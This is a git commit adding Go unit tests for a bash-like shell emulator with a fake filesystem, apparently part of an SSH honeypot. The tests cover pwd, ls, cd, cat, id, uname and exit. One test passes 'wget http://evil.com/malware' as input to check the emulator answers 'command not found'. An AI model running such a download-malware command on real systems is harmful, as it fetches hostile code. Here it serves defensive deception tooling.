feat: add shell interface, registry, and bash shell emulator
Implement Phase 1.4: replaces the hardcoded banner/timeout stub with a proper shell system. Adds a Shell interface with weighted registry for shell selection, a RecordingChannel wrapper (pass-through for now, prep for Phase 2.3 replay), and a bash-like shell with fake filesystem, terminal line reader, and command handling (pwd, ls, cd, cat, whoami, hostname, id, uname, exit). Sessions now log command/output pairs to the store and record the shell name. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
201
internal/shell/bash/commands_test.go
Normal file
201
internal/shell/bash/commands_test.go
Normal file
@@ -0,0 +1,201 @@
|
||||
package bash
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func newTestState() *shellState {
|
||||
fs := newFilesystem("testhost")
|
||||
return &shellState{
|
||||
cwd: "/root",
|
||||
username: "root",
|
||||
hostname: "testhost",
|
||||
fs: fs,
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdPwd(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "pwd")
|
||||
if r.output != "/root" {
|
||||
t.Errorf("pwd = %q, want %q", r.output, "/root")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdWhoami(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "whoami")
|
||||
if r.output != "root" {
|
||||
t.Errorf("whoami = %q, want %q", r.output, "root")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdHostname(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "hostname")
|
||||
if r.output != "testhost" {
|
||||
t.Errorf("hostname = %q, want %q", r.output, "testhost")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdId(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "id")
|
||||
if !strings.Contains(r.output, "uid=0(root)") {
|
||||
t.Errorf("id output = %q, want uid=0(root)", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdUnameBasic(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "uname")
|
||||
if r.output != "Linux" {
|
||||
t.Errorf("uname = %q, want %q", r.output, "Linux")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdUnameAll(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "uname -a")
|
||||
if !strings.HasPrefix(r.output, "Linux testhost") {
|
||||
t.Errorf("uname -a = %q, want prefix 'Linux testhost'", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdLs(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "ls")
|
||||
if r.output == "" {
|
||||
t.Error("ls should return non-empty output")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdLsPath(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "ls /etc")
|
||||
if !strings.Contains(r.output, "passwd") {
|
||||
t.Errorf("ls /etc = %q, should contain 'passwd'", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdLsNonexistent(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "ls /nope")
|
||||
if !strings.Contains(r.output, "No such file") {
|
||||
t.Errorf("ls /nope = %q, should contain 'No such file'", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdCd(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "cd /tmp")
|
||||
if r.output != "" {
|
||||
t.Errorf("cd /tmp should produce no output, got %q", r.output)
|
||||
}
|
||||
if state.cwd != "/tmp" {
|
||||
t.Errorf("cwd = %q, want %q", state.cwd, "/tmp")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdCdNonexistent(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "cd /nope")
|
||||
if !strings.Contains(r.output, "No such file") {
|
||||
t.Errorf("cd /nope = %q, should contain 'No such file'", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdCdNoArgs(t *testing.T) {
|
||||
state := newTestState()
|
||||
state.cwd = "/tmp"
|
||||
dispatch(state, "cd")
|
||||
if state.cwd != "/root" {
|
||||
t.Errorf("cd with no args should go to /root, got %q", state.cwd)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdCdRelative(t *testing.T) {
|
||||
state := newTestState()
|
||||
state.cwd = "/var"
|
||||
dispatch(state, "cd log")
|
||||
if state.cwd != "/var/log" {
|
||||
t.Errorf("cwd = %q, want %q", state.cwd, "/var/log")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdCdDotDot(t *testing.T) {
|
||||
state := newTestState()
|
||||
state.cwd = "/var/log"
|
||||
dispatch(state, "cd ..")
|
||||
if state.cwd != "/var" {
|
||||
t.Errorf("cwd = %q, want %q", state.cwd, "/var")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdCat(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "cat /etc/hostname")
|
||||
if !strings.Contains(r.output, "testhost") {
|
||||
t.Errorf("cat /etc/hostname = %q, should contain 'testhost'", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdCatNonexistent(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "cat /nope")
|
||||
if !strings.Contains(r.output, "No such file") {
|
||||
t.Errorf("cat /nope = %q, should contain 'No such file'", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdCatDirectory(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "cat /etc")
|
||||
if !strings.Contains(r.output, "Is a directory") {
|
||||
t.Errorf("cat /etc = %q, should contain 'Is a directory'", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdCatMultiple(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "cat /etc/hostname /root/README.txt")
|
||||
if !strings.Contains(r.output, "testhost") || !strings.Contains(r.output, "DO NOT MODIFY") {
|
||||
t.Errorf("cat multiple files = %q, should contain both file contents", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdExit(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "exit")
|
||||
if !r.exit {
|
||||
t.Error("exit should set exit=true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdLogout(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "logout")
|
||||
if !r.exit {
|
||||
t.Error("logout should set exit=true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdNotFound(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "wget http://evil.com/malware")
|
||||
if !strings.Contains(r.output, "command not found") {
|
||||
t.Errorf("unknown cmd = %q, should contain 'command not found'", r.output)
|
||||
}
|
||||
if !strings.HasPrefix(r.output, "wget:") {
|
||||
t.Errorf("unknown cmd = %q, should start with 'wget:'", r.output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdEmptyLine(t *testing.T) {
|
||||
state := newTestState()
|
||||
r := dispatch(state, "")
|
||||
if r.output != "" || r.exit {
|
||||
t.Errorf("empty line should produce no output and not exit")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user